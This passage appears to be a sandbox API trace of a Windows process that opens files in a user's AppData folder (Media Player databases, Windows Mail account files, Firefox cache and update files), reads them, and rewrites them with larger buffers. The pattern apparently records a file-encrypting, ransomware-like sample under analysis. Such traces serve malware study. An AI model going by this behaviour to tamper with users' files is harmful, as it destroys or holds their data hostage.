lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.277] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x7000 [0052.277] WriteFile (in: hFile=0x1ac, lpBuffer=0x280e5f8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e5f8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.277] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0052.277] WriteFile (in: hFile=0x1ac, lpBuffer=0x280e5f8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e5f8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.277] CloseHandle (hObject=0x1ac) returned 1 [0052.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0052.278] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.278] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1106c [0052.278] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.278] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.278] ReleaseMutex (hMutex=0x128) returned 1 [0052.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LocalMLS_3.wmdb", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0052.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LocalMLS_3.wmdb", cchWideChar=15, lpMultiByteStr=0x1e6324c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LocalMLS_3.wmdb", lpUsedDefaultChar=0x0) returned 15 [0052.278] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0052.293] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1006c [0052.294] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.295] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1006c [0052.296] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.296] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0052.296] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0052.296] CloseHandle (hObject=0x1ac) returned 1 [0052.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0052.297] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.297] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x427 [0052.297] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.297] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.297] ReleaseMutex (hMutex=0x128) returned 1 [0052.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10_All_Music.wpl", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0052.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10_All_Music.wpl", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10_All_Music.wpl", lpUsedDefaultChar=0x0) returned 16 [0052.297] ReadFile (in: hFile=0x1ac, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x427, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2b0f2bc*=0x427, lpOverlapped=0x0) returned 1 [0052.299] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0052.299] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9af, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x9af, lpOverlapped=0x0) returned 1 [0052.299] CloseHandle (hObject=0x1ac) returned 1 [0052.299] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0052.300] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.300] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3fc [0052.300] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.300] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.300] ReleaseMutex (hMutex=0x128) returned 1 [0052.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="08_Video_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0052.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="08_Video_rated_at_4_or_5_stars.wpl", cchWideChar=34, lpMultiByteStr=0x1eb20f4, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="08_Video_rated_at_4_or_5_stars.wpl", lpUsedDefaultChar=0x0) returned 34 [0052.300] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613698, nNumberOfBytesToRead=0x3fc, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesRead=0x2b0f2bc*=0x3fc, lpOverlapped=0x0) returned 1 [0052.303] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0052.303] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x984, lpOverlapped=0x0) returned 1 [0052.303] CloseHandle (hObject=0x1ac) returned 1 [0052.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0052.304] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.304] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5e4 [0052.304] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0052.304] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.304] ReleaseMutex (hMutex=0x128) returned 1 [0052.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0052.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cchWideChar=55, lpMultiByteStr=0x1e86bac, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpUsedDefaultChar=0x0) returned 55 [0052.304] ReadFile (in: hFile=0x1ac, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x5e4, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x2b0f2bc*=0x5e4, lpOverlapped=0x0) returned 1 [0052.313] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0052.313] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0xb6c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f2d0*=0xb6c, lpOverlapped=0x0) returned 1 [0052.313] CloseHandle (hObject=0x1ac) returned 1 [0052.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0053.452] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.452] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe7 [0053.452] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.452] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.452] ReleaseMutex (hMutex=0x128) returned 1 [0053.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Garden.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0053.452] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Garden.htm", cchWideChar=10, lpMultiByteStr=0x1e6340c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Garden.htm", lpUsedDefaultChar=0x0) returned 10 [0053.452] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x2b0f2bc*=0xe7, lpOverlapped=0x0) returned 1 [0053.453] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.453] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66f, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x66f, lpOverlapped=0x0) returned 1 [0053.453] CloseHandle (hObject=0x1d4) returned 1 [0053.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.489] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.489] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1f2 [0053.490] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.490] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.490] ReleaseMutex (hMutex=0x128) returned 1 [0053.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMSDKNS.DTD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0053.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMSDKNS.DTD", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMSDKNS.DTD", lpUsedDefaultChar=0x0) returned 11 [0053.490] ReadFile (in: hFile=0x12c, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1f2, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2b0f2bc*=0x1f2, lpOverlapped=0x0) returned 1 [0053.491] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.491] WriteFile (in: hFile=0x12c, lpBuffer=0x1da5ef8*, nNumberOfBytesToWrite=0x77a, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da5ef8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x77a, lpOverlapped=0x0) returned 1 [0053.491] CloseHandle (hObject=0x12c) returned 1 [0053.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\f17b2d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.492] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.492] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x404f [0053.492] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.492] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.492] ReleaseMutex (hMutex=0x128) returned 1 [0053.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="F17B2d01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="F17B2d01", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F17B2d01", lpUsedDefaultChar=0x0) returned 8 [0053.492] ReadFile (in: hFile=0x12c, lpBuffer=0x280e5f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x280e5f8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.497] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x304f [0053.497] ReadFile (in: hFile=0x12c, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.498] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x304f [0053.498] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.498] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.498] WriteFile (in: hFile=0x12c, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.499] CloseHandle (hObject=0x12c) returned 1 [0053.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-malware-simple.cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.499] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.499] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2c [0053.499] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.499] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.500] ReleaseMutex (hMutex=0x128) returned 1 [0053.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="test-malware-simple.cache", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0053.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="test-malware-simple.cache", cchWideChar=25, lpMultiByteStr=0x1e7faec, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="test-malware-simple.cache", lpUsedDefaultChar=0x0) returned 25 [0053.500] ReadFile (in: hFile=0x12c, lpBuffer=0x1eb2080, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eb2080*, lpNumberOfBytesRead=0x2b0f2bc*=0x2c, lpOverlapped=0x0) returned 1 [0053.500] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.500] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5b4, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2b0f2d0*=0x5b4, lpOverlapped=0x0) returned 1 [0053.501] CloseHandle (hObject=0x12c) returned 1 [0053.501] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates\\0\\update.mar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates\\0\\update.mar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.502] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.502] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x927c0 [0053.502] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.502] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.503] ReleaseMutex (hMutex=0x128) returned 1 [0053.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="update.mar", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0053.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="update.mar", cchWideChar=10, lpMultiByteStr=0x1e6340c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="update.mar", lpUsedDefaultChar=0x0) returned 10 [0053.503] ReadFile (in: hFile=0x12c, lpBuffer=0x3a18498, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0053.505] ReadFile (in: hFile=0x12c, lpBuffer=0x3a18498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.510] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x917c0 